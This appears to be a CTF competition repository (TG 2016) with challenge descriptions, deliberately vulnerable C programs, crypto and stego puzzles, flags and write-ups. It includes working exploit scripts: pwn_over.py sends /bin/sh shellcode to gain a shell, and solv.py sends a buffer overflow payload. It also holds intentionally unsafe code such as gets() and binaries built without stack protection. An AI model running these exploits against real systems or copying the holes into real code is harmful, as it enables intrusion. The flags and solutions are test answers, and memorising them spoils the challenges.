├── pwn ├── rop64 │ ├── flag.txt │ ├── libc-2.19.so │ ├── README.md │ ├── src │ │ ├── Makefile │ │ ├── solv.py │ │ └── rop64.c │ └── writeup.md ├── rooops │ ├── flag.txt │ ├── lol │ ├── README.md │ ├── libc-2.19.so │ ├── src │ │ ├── Makefile │ │ ├── off.c │ │ └── lol.c │ ├── lol.py │ └── writeup.md ├── rop32 │ ├── flag.txt │ ├── README.md │ ├── src │ │ ├── Makefile │ │ ├── solv.py │ │ └── rop.c │ └── writeup.md ├── format2 │ ├── format2 │ ├── README.md │ ├── src │ │ ├── Makefile │ │ └── format2.c │ └── writeup.md ├── format3 │ ├── format3 │ ├── README.md │ ├── src │ │ ├── Makefile │ │ └── format3.c │ └── writeup.md ├── leaky_leaky │ ├── leak │ ├── src │ │ ├── run_leak.sh │ │ ├── Makefile │ │ ├── leak.c │ │ └── lol.ld │ ├── README.md │ ├── solv.py │ └── writeup.md ├── format1 │ ├── README.md │ ├── src │ │ ├── Makefile │ │ ├── format.S │ │ └── format1.c │ └── writeup.md └── old_school │ ├── README.md │ ├── src │ ├── Makefile │ └── overflow.c │ └── pwn_over.py ├── misc └── evil │ ├── evil.pcapng │ ├── README.md │ ├── src │ ├── Makefile │ └── evil.c │ └── writeup.md ├── reverse ├── 1charpw │ ├── 1charpw │ ├── src │ │ ├── Makefile │ │ └── 1charpw.c │ └── README.md ├── 4charpw │ ├── 4charpw │ ├── README.md │ └── src │ │ ├── Makefile │ │ └── 4charpw.c ├── debug_help_pls │ ├── printflag │ ├── README.md │ └── src │ │ ├── Makefile │ │ └── printflag.c └── my_first_hack │ ├── myfirsthack │ ├── src │ ├── strings.c │ └── Makefile │ └── README.md ├── stego ├── harold2 │ ├── flag.png │ ├── harold2.jpg │ ├── README.md │ └── writeup.md └── harold1 │ ├── harold1.jpg │ ├── README.md │ └── writeup.md ├── crypto ├── when_in_rome │ ├── encrypted.txt │ ├── README.md │ └── writeup.md ├── breaking_the_unbreakable │ ├── flag.encrypted │ ├── xor.py │ ├── Makefile │ ├── readme.md │ ├── decrypt.c │ ├── lfsr.c │ └── writeup.md ├── size_matters │ ├── egcd.py │ ├── README.md │ ├── encrypted.txt │ ├── split.py │ ├── writeup.md │ ├── vigenere.py │ └── kasiski.py └── bellaso │ ├── README.md │ ├── encrypted.txt │ └── writeup.md ├── finale └── part3 │ ├── pwn │ ├── Makefile │ ├── lol.h │ └── pwn.c │ ├── Makefile │ └── lol.c └── README.md /pwn/rop64/flag.txt: -------------------------------------------------------------------------------- 1 | TG16{hunting gadgets at easter ftw} 2 | -------------------------------------------------------------------------------- /pwn/rooops/flag.txt: -------------------------------------------------------------------------------- 1 | TG16{ROP_master-3000_destr0yer_of_libC} 2 | -------------------------------------------------------------------------------- /pwn/rop32/flag.txt: -------------------------------------------------------------------------------- 1 | TG16{32_bit_ROP_chains_are_easy_right?} 2 | -------------------------------------------------------------------------------- /pwn/rooops/lol: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/rooops/lol -------------------------------------------------------------------------------- /misc/evil/evil.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/misc/evil/evil.pcapng -------------------------------------------------------------------------------- /pwn/format2/format2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/format2/format2 -------------------------------------------------------------------------------- /pwn/format3/format3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/format3/format3 -------------------------------------------------------------------------------- /pwn/leaky_leaky/leak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/leaky_leaky/leak -------------------------------------------------------------------------------- /pwn/leaky_leaky/src/run_leak.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export LIBC_FATAL_STDERR_=1 3 | /bin/leak 4 | -------------------------------------------------------------------------------- /pwn/rooops/README.md: -------------------------------------------------------------------------------- 1 | # rooops 2 | Can you pwn [this](lol)? 3 | 4 | [libc](libc-2.19.so) 5 | -------------------------------------------------------------------------------- /pwn/rooops/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/rooops/libc-2.19.so -------------------------------------------------------------------------------- /pwn/rop64/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/pwn/rop64/libc-2.19.so -------------------------------------------------------------------------------- /reverse/1charpw/1charpw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/reverse/1charpw/1charpw -------------------------------------------------------------------------------- /reverse/4charpw/4charpw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/reverse/4charpw/4charpw -------------------------------------------------------------------------------- /stego/harold2/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/stego/harold2/flag.png -------------------------------------------------------------------------------- /misc/evil/README.md: -------------------------------------------------------------------------------- 1 | # evil 2 | Can you find all the evil packets? 3 | PCAP: [here](evil.pcapng) 4 | -------------------------------------------------------------------------------- /stego/harold1/harold1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/stego/harold1/harold1.jpg -------------------------------------------------------------------------------- /stego/harold2/harold2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/stego/harold2/harold2.jpg -------------------------------------------------------------------------------- /crypto/when_in_rome/encrypted.txt: -------------------------------------------------------------------------------- 1 | SVVRHAFVBKLJPWOLYPUNAOPZALEAJYFWAVNYHWOFPZZBWLYMBUHUKUVAAOHAOHYKAOLMSHNPZLTWLYVY 2 | -------------------------------------------------------------------------------- /reverse/debug_help_pls/printflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/reverse/debug_help_pls/printflag -------------------------------------------------------------------------------- /reverse/my_first_hack/myfirsthack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/reverse/my_first_hack/myfirsthack -------------------------------------------------------------------------------- /pwn/leaky_leaky/README.md: -------------------------------------------------------------------------------- 1 | # leaky leaky 2 | 3 | `nc 88.92.95.14 5555` 4 | 5 | Can you get the flag? 6 | 7 | binary: [leak](leak) 8 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/flag.encrypted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tghack/tg16hack/HEAD/crypto/breaking_the_unbreakable/flag.encrypted -------------------------------------------------------------------------------- /pwn/rop32/README.md: -------------------------------------------------------------------------------- 1 | # ROP 32 2 | 3 | **Points: 150** 4 | 5 | Can you read `flag.txt`? 6 | 7 | ### Writeups 8 | [writeup.md](writeup.md) 9 | -------------------------------------------------------------------------------- /pwn/rop64/README.md: -------------------------------------------------------------------------------- 1 | # 64-bit ROP chains 2 | 3 | **Points: 150** 4 | 5 | Can you read `flag.txt`? 6 | 7 | ### Writeups 8 | [writeup.md](writeup.md) 9 | -------------------------------------------------------------------------------- /pwn/format3/README.md: -------------------------------------------------------------------------------- 1 | # format3 2 | 3 | **Points: 200** 4 | 5 | `nc 88.92.95.14 7779` 6 | 7 | Getting harder now! Can you redirect flow to `super_function()`? 8 | -------------------------------------------------------------------------------- /reverse/debug_help_pls/README.md: -------------------------------------------------------------------------------- 1 | # Debug help pls 2 | 3 | I am trying to print the flag with this program, but it fails and only prints 4 | some bogus characters. 5 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/xor.py: -------------------------------------------------------------------------------- 1 | from bitarray import bitarray 2 | 3 | a = bitarray("0111110101010110") 4 | b = bitarray("0101010001000111") 5 | 6 | print(a^b) 7 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/Makefile: -------------------------------------------------------------------------------- 1 | all: lfsr decrypt 2 | 3 | lfsr: lfsr.c 4 | gcc -o lfsr $< 5 | 6 | decrypt: decrypt.c 7 | gcc -o decrypt $< 8 | 9 | clean: 10 | rm lfsr decrypt 11 | -------------------------------------------------------------------------------- /pwn/format1/README.md: -------------------------------------------------------------------------------- 1 | # Format strings 1 2 | 3 | `nc 88.92.95.14 7777` 4 | 5 | Format string exercise! Follow the instructions from the program. 6 | 7 | ### Writeups 8 | [writeup.md](writeup.md) 9 | -------------------------------------------------------------------------------- /finale/part3/pwn/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu99 3 | 4 | .PHONY: all clean 5 | all: pwn 6 | 7 | pwn: pwn.c 8 | $(CC) $(CFLAGS) $^ -o $@ 9 | 10 | clean: 11 | rm -vf pwn 12 | -------------------------------------------------------------------------------- /pwn/format2/README.md: -------------------------------------------------------------------------------- 1 | # More Format Strings 2 | 3 | **Points: 150** 4 | 5 | `nc 88.92.95.14 7778` 6 | 7 | A little harder this time, can you use a format string vulnerability to overwrite a variable? 8 | -------------------------------------------------------------------------------- /pwn/format2/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu11 -m32 -g 3 | 4 | all: format2 5 | 6 | format2: format2.c 7 | $(CC) $(CFLAGS) $^ -o $@ 8 | 9 | clean: 10 | rm -vf format2 11 | -------------------------------------------------------------------------------- /pwn/format3/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu11 -m32 -g 3 | 4 | all: format3 5 | 6 | format3: format3.c 7 | $(CC) $(CFLAGS) $^ -o $@ 8 | 9 | clean: 10 | rm -vf format3 11 | -------------------------------------------------------------------------------- /pwn/old_school/README.md: -------------------------------------------------------------------------------- 1 | # Old school hacker 2 | 3 | **Points: 150** 4 | 5 | Can you read `flag.txt`? The program will tell you how much padding you need to overwrite eip. 6 | 7 | `nc 88.92.95.14 4444` 8 | -------------------------------------------------------------------------------- /pwn/format1/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu11 -m32 -g 3 | 4 | all: format1 5 | 6 | format1: format1.c format.S 7 | $(CC) $(CFLAGS) $^ -o $@ 8 | 9 | clean: 10 | rm -vf format1 11 | -------------------------------------------------------------------------------- /reverse/4charpw/README.md: -------------------------------------------------------------------------------- 1 | ### 4 294 967 296 possibilities... 2 | 3 | Well this time I really screwed up, because I also forgot the password and 4 | this time it's not as easy. Can you help me recover the password? 5 | -------------------------------------------------------------------------------- /stego/harold1/README.md: -------------------------------------------------------------------------------- 1 | # Harold 1 2 | 3 | Harold isn't too sure about how securely he was able to hide his message in this picture. 4 | 5 | Files: 6 | > [harold1.jpg][harold] 7 | 8 | ![harold1.jpg][harold] 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # tg16hack 2 | TG 2016 hacking compo repo 3 | 4 | 5 | ### Categories 6 | * [pwn](pwn) 7 | 8 | * [reverse](reverse) 9 | 10 | * [crypto](crypto) 11 | 12 | * [misc](misc) 13 | 14 | * [stego](stego) 15 | -------------------------------------------------------------------------------- /reverse/1charpw/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu99 3 | 4 | .PHONY: all clean 5 | 6 | all: 1charpw 7 | 8 | 1charpw: 1charpw.c 9 | $(CC) $(CFLAGS) $^ -o $@ 10 | 11 | clean: 12 | rm -f 1charpw 13 | 14 | -------------------------------------------------------------------------------- /reverse/4charpw/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu99 3 | 4 | .PHONY: all clean 5 | 6 | all: 4charpw 7 | 8 | 4charpw: 4charpw.c 9 | $(CC) $(CFLAGS) $^ -o $@ 10 | 11 | clean: 12 | rm -f 4charpw 13 | 14 | -------------------------------------------------------------------------------- /reverse/my_first_hack/src/strings.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) { 4 | char* flag = "TG16{royksopp}"; 5 | char* info = "^ because this is \"so easy\", right?"; 6 | printf("can you find the flag??\n"); 7 | } 8 | -------------------------------------------------------------------------------- /reverse/my_first_hack/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= -std=gnu99 3 | 4 | .PHONY: all clean 5 | 6 | all: myfirsthack 7 | 8 | myfirsthack: strings.c 9 | $(CC) $(CFLAGS) $^ -o $@ 10 | 11 | clean: 12 | rm -f myfirsthack 13 | 14 | -------------------------------------------------------------------------------- /pwn/rop32/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -Wpedantic -std=gnu11 -m32 3 | LFLAGS=-ldl 4 | 5 | .PHONY: all clean 6 | 7 | all: rop 8 | 9 | rop: rop.c 10 | $(CC) $(CFLAGS) $(LFLAGS) $^ -o $@ 11 | 12 | clean: 13 | rm -vf rop 14 | -------------------------------------------------------------------------------- /pwn/rop64/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -Wpedantic -std=gnu11 3 | LFLAGS=-ldl 4 | 5 | .PHONY: all clean 6 | 7 | all: rop 8 | 9 | rop: rop64.c 10 | $(CC) $(CFLAGS) $(LFLAGS) $^ -o $@ 11 | 12 | clean: 13 | rm -vf rop 14 | -------------------------------------------------------------------------------- /reverse/debug_help_pls/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu99 3 | 4 | .PHONY: all clean 5 | 6 | all: printflag 7 | 8 | printflag: printflag.c 9 | $(CC) $(CFLAGS) $^ -o $@ 10 | 11 | clean: 12 | rm -f printflag 13 | 14 | -------------------------------------------------------------------------------- /crypto/when_in_rome/README.md: -------------------------------------------------------------------------------- 1 | ### When in Rome... 2 | **Points: 50** 3 | 4 | A simple introduction to cryptography. 5 | 6 | Note: the flag is not the usual format but clearly marked. 7 | 8 | Files: 9 | > [encrypted.txt](encrypted.txt) 10 | 11 | 12 | -------------------------------------------------------------------------------- /pwn/rooops/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -O0 -std=gnu11 3 | 4 | .PHONY: all clean 5 | all: lol off 6 | 7 | lol: lol.c 8 | $(CC) $(CFLAGS) $^ -o $@ 9 | 10 | off: off.c 11 | $(CC) $(CFLAGS) $^ -o $@ 12 | 13 | clean: 14 | rm -vf lol 15 | -------------------------------------------------------------------------------- /finale/part3/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS_lol.o := -DDEBUG 2 | ifneq ($(KERNELRELEASE),) 3 | obj-m := lol.o 4 | else 5 | KERNELDIR ?= /lib/modules/$(shell uname -r)/build 6 | PWD := $(shell pwd) 7 | 8 | default: 9 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 10 | endif 11 | -------------------------------------------------------------------------------- /misc/evil/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -std=gnu11 3 | LFLAGS=-lnet 4 | 5 | .PHONY: all clean 6 | all: evil 7 | 8 | evil: evil.c 9 | $(CC) $(CFLAGS) $^ -o $@ $(LFLAGS) 10 | sudo setcap CAP_NET_RAW=ep $@ 11 | 12 | clean: 13 | rm -vf evil 14 | 15 | -------------------------------------------------------------------------------- /stego/harold2/README.md: -------------------------------------------------------------------------------- 1 | # Harold 2 2 | 3 | Harold is still not overly confident regarding the secrecy of his message, 4 | as one might be able to ascertain from his facial expression. 5 | 6 | Files: 7 | > [harold2.jpg][harold] 8 | 9 | ![harold2.jpg][harold] 10 | -------------------------------------------------------------------------------- /finale/part3/pwn/lol.h: -------------------------------------------------------------------------------- 1 | #ifndef _LOL_H 2 | #define _LOL_H 3 | 4 | #define MAX_USERS 3 5 | #define LOL_ALLOC 0x1 6 | #define LOL_DEBUG 0x2 7 | #define LOL_ADD_USER 0x3 8 | #define LOL_DEL_USER 0x4 9 | 10 | struct lol_alloc { 11 | size_t size; 12 | }; 13 | 14 | #endif /* _LOL_H */ 15 | -------------------------------------------------------------------------------- /crypto/size_matters/egcd.py: -------------------------------------------------------------------------------- 1 | 2 | def egcd(a, b): 3 | x, y, u, v = 0, 1, 1, 0 4 | while a != 0: 5 | q, r = b//a, b%a 6 | m, n = x-u*q, y-v*q 7 | b, a, x, y, u, v = a, r, u, v, m, n 8 | gcd = b 9 | return gcd, x, y 10 | 11 | print(egcd(23-8, 378-23)) 12 | -------------------------------------------------------------------------------- /pwn/old_school/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=clang # fucking gcc stack protection shit 2 | CFLAGS=-Wall -Wextra -Wpedantic -std=gnu11 -O0 -m32 -fno-stack-protector -z execstack 3 | 4 | .PHONY: all clean 5 | all: overflow 6 | 7 | overflow: overflow.c 8 | $(CC) $(CFLAGS) $^ -o $@ 9 | 10 | clean: 11 | rm -vf overflow 12 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/readme.md: -------------------------------------------------------------------------------- 1 | ### Break the unbreakable 2 | **Points: 400** 3 | 4 | The Anti-Spirals have just read about OTP and LFSRs and encrypted the flag with 5 | what they think is an unbreakable cryptosystem. Prove them wrong and break 6 | the unbreakable! 7 | 8 | Files: 9 | > flag.encrypted 10 | -------------------------------------------------------------------------------- /crypto/size_matters/README.md: -------------------------------------------------------------------------------- 1 | ### Size matters 2 | **Points: 150** 3 | 4 | Do you think they spoke [Norwegian] (https://youtu.be/f488uJAQgmw) in France 5 | and Italy during the 16th century? 6 | 7 | Note: the flag is not the usual format but clearly marked. 8 | 9 | Files: 10 | > [encrypted.txt](encrypted.txt) 11 | -------------------------------------------------------------------------------- /pwn/leaky_leaky/solv.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./leak") 4 | r.sendline("A"*0x148 + p64(0xdeadbef0)) 5 | 6 | #s = remote("88.92.95.14", 5555) 7 | #s.recvuntil("Name:") 8 | #log.info("Sending payload") 9 | #s.sendline("A" * 0x148 + p64(0xdeadbef0)) 10 | 11 | print r.recvall() 12 | r.interactive() 13 | -------------------------------------------------------------------------------- /reverse/1charpw/README.md: -------------------------------------------------------------------------------- 1 | ### 1-char passwords are the best! 2 | 3 | I had a secret, so I decided to make a simple program to hide it! I forgot 4 | what the secret is, and now I also forgot the password to open the program... 5 | Can you find the password? I knew I would forget it so I made the password 6 | only 1 char, to make it at least recoverable... 7 | -------------------------------------------------------------------------------- /crypto/bellaso/README.md: -------------------------------------------------------------------------------- 1 | ### It's a me, Bellaso! 2 | **Points: 100** 3 | 4 | [Giovan Battista Bellaso] (https://en.wikipedia.org/wiki/Giovan_Battista_Bellaso) 5 | first described this encryption scheme but it does not bear his name. 6 | 7 | Note: the flag is not the usual format but clearly marked. 8 | 9 | Files: 10 | > [encrypted.txt](encrypted.txt) 11 | -------------------------------------------------------------------------------- /crypto/when_in_rome/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | We are starting easy with a simple Caesar cipher. 4 | 5 | To decrypt the text you can either guess the shift or use frequency analysis 6 | (or use an online tool...). The correct shift is 7 and decrypting the text, 7 | you get the following text: 8 | 9 | ``` 10 | LOOKATYOUDECIPHERINGTHISTEXTCRYPTOGRAPHYISSUPERFUNANDNOTTHATHARDTHEFLAGISEMPEROR 11 | ``` 12 | 13 | Flag is: EMPEROR 14 | -------------------------------------------------------------------------------- /pwn/leaky_leaky/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -Wextra -Wpedantic -std=gnu11 -O1 -fstack-protector -D_FORTIFY_SOURCE=2 -Wno-implicit-function-declaration -Wl,-Tlol.ld 3 | 4 | .PHONY: all clean 5 | 6 | all: leak 7 | 8 | leak: leak.c 9 | $(CC) $(CFLAGS) $^ -o $@ -DFLAG=\"TG16{fortified_info_leak_ftw}\" 10 | 11 | task: leak.c 12 | $(CC) $(CFLAGS) $^ -o $@ -DFLAG=\"TG16{flag_goes_here}\" 13 | 14 | clean: 15 | rm -vf leak task 16 | -------------------------------------------------------------------------------- /crypto/size_matters/encrypted.txt: -------------------------------------------------------------------------------- 1 | QTLVZRFNCVAEÅDMBTNÆVXLNCVZABPZXDWWBSHBÅFQNTZRATNYGCBUWFCRJØGROÆÆVATÅWÅQNTCMØTXEVWSÅEFMNØTCAMJDÆÆNNØVADNTZZEÆEJQDNØBKKTSÅBOVÆRZAWERAEÆYÆQNÅPRAEJGRESNØUQRXUAÆTÅOXQRVÅHCATSFQNØECXKWWBSABSBWREAHÆTNYGCKJZÅQSMSTTIOTFQRRØXLFXCGQRNSHOHRTWQRBWÅBIIRVWREAHQRNYFHPÅÅHQKØEVZUÅSBLKSSBZEWMØWEUSBEIÅSBBKJAVZOVTCASNCZZGJGTTIOTVAKJZÅQSTCMØTXOBMLEDVQTYSFRETETTIOTVAEÆFADLRUQROÆDVAEAOBBEÅEYEOÆDHÆRNCVBSACGQRNØRZGÆWDQRÆNFÆVNCWXAPUVCEÆARXAFKCAULSÅXAR 2 | -------------------------------------------------------------------------------- /stego/harold1/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | This is the first stego task and therefore is probably something very simple. 4 | 5 | If you know the format of the flag, just open a text editor and search for TG16. 6 | Alternatively, use your shell foo like this 7 | ```sh 8 | $ strings harold1.jpg | grep TG16{ 9 | TG16{abe234bef8} 10 | ``` 11 | 12 | or like this, if you're in that camp 13 | ```sh 14 | $ strings harold1.jpg | sed -n 's/TG16{/&/p' 15 | TG16{abe234bef8} 16 | ``` 17 | 18 | Flag is: TG16{abe234bef8} 19 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/decrypt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main (void) { 5 | FILE *a, *b, *c; 6 | a = fopen("keyfile", "r"); 7 | b = fopen("flag.encrypted", "r"); 8 | c = fopen("flag.clear", "w"); 9 | char enc, key, clear; 10 | 11 | while (fread(&enc, 1, 1, b)) { 12 | fread(&key, 1, 1, a); 13 | clear = enc^key; 14 | fwrite(&clear, 1, 1, c); 15 | } 16 | fclose(a); 17 | fclose(b); 18 | fclose(c); 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /pwn/leaky_leaky/src/leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define noinline __attribute__((noinline)) 5 | 6 | static volatile const char __attribute__((__section__((".lol")))) flag[] = FLAG; 7 | 8 | static noinline void get_user_info(void) 9 | { 10 | char buf[64] = { 0 }; 11 | 12 | printf("Name: "); 13 | 14 | gets(buf); 15 | 16 | printf("Welcome, %s! Have a wonderful day!\n", buf); 17 | } 18 | 19 | int main(void) 20 | { 21 | setvbuf(stdout, NULL, _IONBF, 0); 22 | get_user_info(); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /pwn/format1/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | With `printf`, we can specify what argument to print with `%m$`, where `m` is the argument number. `%2$s` will print the second argument as a string, for example. 4 | 5 | To solve this: 6 | ``` 7 | $ python2 -c 'print "%2$s%4$x%1$s"' | nc 127.0.0.1 7777 8 | Construct the flag like this: 9 | 1. print 2nd parameter on stack as a string 10 | 2. print 4th parameter on stack as a hexadecminal number 11 | 3. print 1st parameter on stack as a string 12 | Name: Hello, TG16{f0rmat_strings_4re_c001_rait?} 13 | ``` 14 | -------------------------------------------------------------------------------- /reverse/4charpw/src/4charpw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void usage(char* argv[]) { 6 | printf("USAGE: %s \n", argv[0]); 7 | exit(1); 8 | } 9 | 10 | int main(int argc, char* argv[]) { 11 | if(argc < 2) usage(argv); 12 | char* pwd = argv[1]; 13 | if(strlen(pwd) != 4) exit(1); 14 | if(pwd[3] != 'd') exit(1); 15 | if(pwd[2] != '1') exit(1); 16 | if(pwd[1] != 'A') exit(1); 17 | if(pwd[0] != 'p') exit(1); 18 | 19 | printf("gz! The flag is TG16{}\n"); 20 | } 21 | -------------------------------------------------------------------------------- /pwn/format1/src/format.S: -------------------------------------------------------------------------------- 1 | .globl dritt 2 | .globl printf 3 | 4 | .data 5 | .align 4 6 | flag1: .string "TG16{f0rmat_strings_4re_" 7 | flag2: .string "_rait?}\n" 8 | lol: .string "NOPE\n" 9 | 10 | .text 11 | .align 4 12 | 13 | dritt: 14 | push %ebp 15 | movl %esp, %ebp 16 | movl 8(%ebp), %eax 17 | 18 | # make some room 19 | sub $256, %esp 20 | movl $0xc001, 12(%esp) # 4th 21 | movl $lol, 8(%esp) # 3rd 22 | movl $flag1, 4(%esp) # 2nd 23 | movl $flag2, (%esp) # 1st 24 | 25 | pushl %eax # buf 26 | call printf 27 | add $0x256, %esp 28 | 29 | leave 30 | ret 31 | -------------------------------------------------------------------------------- /crypto/bellaso/encrypted.txt: -------------------------------------------------------------------------------- 1 | TSFZZZMNPSITBXHPSMJLQMAMIVGWURIXFUMAQJICWKIAIIIBNIEJWLLMDTOGFGRUYDXZHVWTULTBXHPSHZLSSEIITHVFPEIITBEDUEKXAOQBQVKQCLGSIXFAXQPVNAEOBFITASNJTYXZDTTOKHQMAMIDXVTEIIMBOEYFVVVQPSFVUNZIYHXYXIMPSMTTVCTWMCPIREIITHVFPEIITKYDNIJLIGPTAVKMFLSJIHUSPDVVMINOULVNVIZOVVZCLLSPPVZANLIUMPETSQVLAARFWKAMVTHIEXZENJTYXZIDTMDITEPOSLZPTZCIRYQEWEGZIPECJJZMQSFTIUBVCZONLGKTTPRNBBHNJTYXZDTTOJMPENPRWXLECBXVLBAEFWFYIMPSMTTNOCFBRFXLPVWVWIBCBWJVQPSFVUBAKEPMDITEXFRKMPEGJKVGMRPDMGAMROVVZGOTSFEDXZINBRTBDIWXEIMPENPRWXLECBGPLUEDTEXXAWPSIWTZFCPQJXKRPUEEWBHPVRZHVRPHYCTZLJDVRVSEOULVBZMPTWRZMSEIIWEIGTTXIBBHPNMLL 2 | -------------------------------------------------------------------------------- /crypto/size_matters/split.py: -------------------------------------------------------------------------------- 1 | text = "QTLVZRFNCVAEÅDMBTNÆVXLNCVZABPZXDWWBSHBÅFQNTZRATNYGCBUWFCRJØGROÆÆVATÅWÅQNTCMØTXEVWSÅEFMNØTCAMJDÆÆNNØVADNTZZEÆEJQDNØBKKTSÅBOVÆRZAWERAEÆYÆQNÅPRAEJGRESNØUQRXUAÆTÅOXQRVÅHCATSFQNØECXKWWBSABSBWREAHÆTNYGCKJZÅQSMSTTIOTFQRRØXLFXCGQRNSHOHRTWQRBWÅBIIRVWREAHQRNYFHPÅÅHQKØEVZUÅSBLKSSBZEWMØWEUSBEIÅSBBKJAVZOVTCASNCZZGJGTTIOTVAKJZÅQSTCMØTXOBMLEDVQTYSFRETETTIOTVAEÆFADLRUQROÆDVAEAOBBEÅEYEOÆDHÆRNCVBSACGQRNØRZGÆWDQRÆNFÆVNCWXAPUVCEÆARXAFKCAULSÅXAR" 2 | n = 5 3 | 4 | for i in range(n): 5 | s = "" 6 | j = i 7 | while j < len(text): 8 | s += text[j] 9 | j += n 10 | print(s) 11 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/lfsr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main (void) { 5 | uint8_t start_state = 0x29u; 6 | uint8_t lfsr = start_state; 7 | uint8_t bit; 8 | unsigned period = 0; 9 | 10 | FILE *file = fopen("keyfile", "w"); 11 | 12 | /* x^8 + x^7 + x^5 + x^3 + 1 */ 13 | do { 14 | if((period % 8) == 0) fwrite(&lfsr, 1, 1, file); 15 | bit = ((lfsr >> 0 ) ^ (lfsr >> 1) ^ (lfsr >> 3) ^ (lfsr >> 5)) & 1; 16 | lfsr = (lfsr >> 1) | (bit << 7); 17 | ++period; 18 | } while (lfsr != start_state); 19 | fclose(file); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /misc/evil/writeup.md: -------------------------------------------------------------------------------- 1 | ### Writeup 2 | Some of the packets have the evil bit set. See [here](https://tools.ietf.org/html/rfc3514). 3 | 4 | We can filter these out using tshark: 5 | 6 | ``` 7 | $ tshark -r evil.pcapng -Y "ip[6:1]&0x80" -T fields -e data | tr -d '\n' > lol.raw 8 | ``` 9 | 10 | Then convert the hex values to ASCII: 11 | ``` 12 | $ python2 13 | Python 2.7.11 (default, Dec 6 2015, 15:43:46) 14 | [GCC 5.2.0] on linux2 15 | Type "help", "copyright", "credits" or "license" for more information. 16 | >>> data = open("lol.raw", "r").read() 17 | >>> import binascii 18 | >>> print binascii.unhexlify(data) 19 | TG16{evil_Packets_everywhere_y0u_better_be_SCARED_y0} 20 | >>> 21 | ``` 22 | -------------------------------------------------------------------------------- /pwn/old_school/pwn_over.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | s = remote("127.0.0.1", 4444) 4 | 5 | # get address of buffer 6 | s.recvuntil("buf: ") 7 | addr = int(s.recvline().strip(), 16) 8 | log.info("Buffer at: %s" % hex(addr)) 9 | 10 | # get offset 11 | s.recvuntil("ret offset: ") 12 | off = int(s.recvline().strip()) 13 | log.info("Offset: %s" % hex(off)) 14 | 15 | # send payload 16 | sploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 17 | size = off - len(sploit) 18 | log.info("Writing %d bytes of padding" % size) 19 | sploit += "A" * size 20 | sploit += p64(addr) 21 | 22 | s.recvuntil("Input:") 23 | s.send(sploit) 24 | 25 | s.interactive() 26 | -------------------------------------------------------------------------------- 